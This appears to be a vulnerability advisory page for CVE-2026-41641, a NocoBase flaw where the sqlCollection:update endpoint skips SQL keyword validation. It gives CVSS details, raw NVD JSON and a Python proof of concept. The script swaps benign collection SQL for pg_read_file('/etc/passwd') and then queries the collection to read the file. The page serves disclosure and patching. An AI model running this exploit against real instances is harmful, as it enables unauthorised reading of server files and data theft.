Security Vulnerability Report
中文
CVE-2026-41641 CVSS 7.2 HIGH

CVE-2026-41641

Published: 2026-05-07 06:16:05
Last Modified: 2026-05-07 20:23:22

Description

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data. This issue has been patched in version 2.0.39.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nocobase:nocobase:*:*:*:*:*:*:*:* - VULNERABLE
NocoBase < 2.0.39

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Configuration TARGET_URL = "http://target-nocobase-instance.com" API_KEY = "YOUR_VALID_API_TOKEN" # Requires collection management permissions headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # Step 1: Create a benign SQL collection to bypass initial checks create_data = { "key": "malicious_collection", "title": "Benign Data", "sql": "SELECT 1 as id" # Safe SQL } r1 = requests.post(f"{TARGET_URL}/api/collections:create", json=create_data, headers=headers) print(f"Create Status: {r1.status_code}") # Step 2: Update the collection using the vulnerable endpoint (sqlCollection:update) # This endpoint lacks the checkSQL() validation update_data = { "key": "malicious_collection", "sql": "SELECT pg_read_file('/etc/passwd')" # Malicious SQL injection } r2 = requests.post(f"{TARGET_URL}/api/sqlCollection:update", json=update_data, headers=headers) print(f"Update Status: {r2.status_code}") # Step 3: Query the collection to execute the injected SQL r3 = requests.get(f"{TARGET_URL}/api/malicious_collection:query", headers=headers) print(f"Query Result: {r3.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41641", "sourceIdentifier": "[email protected]", "published": "2026-05-07T06:16:05.073", "lastModified": "2026-05-07T20:23:22.440", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data. This issue has been patched in version 2.0.39."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}, {"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nocobase:nocobase:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.0.39", "matchCriteriaId": "353FCC5B-0DF7-49FC-9E2B-FD04C3A46751"}]}]}], "references": [{"url": "https://github.com/nocobase/nocobase/commit/851aee543efa894142e0f7be03eb55d9cec06a91", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nocobase/nocobase/pull/9134", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.39", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-wrwh-c28m-9jjh", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-wrwh-c28m-9jjh", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}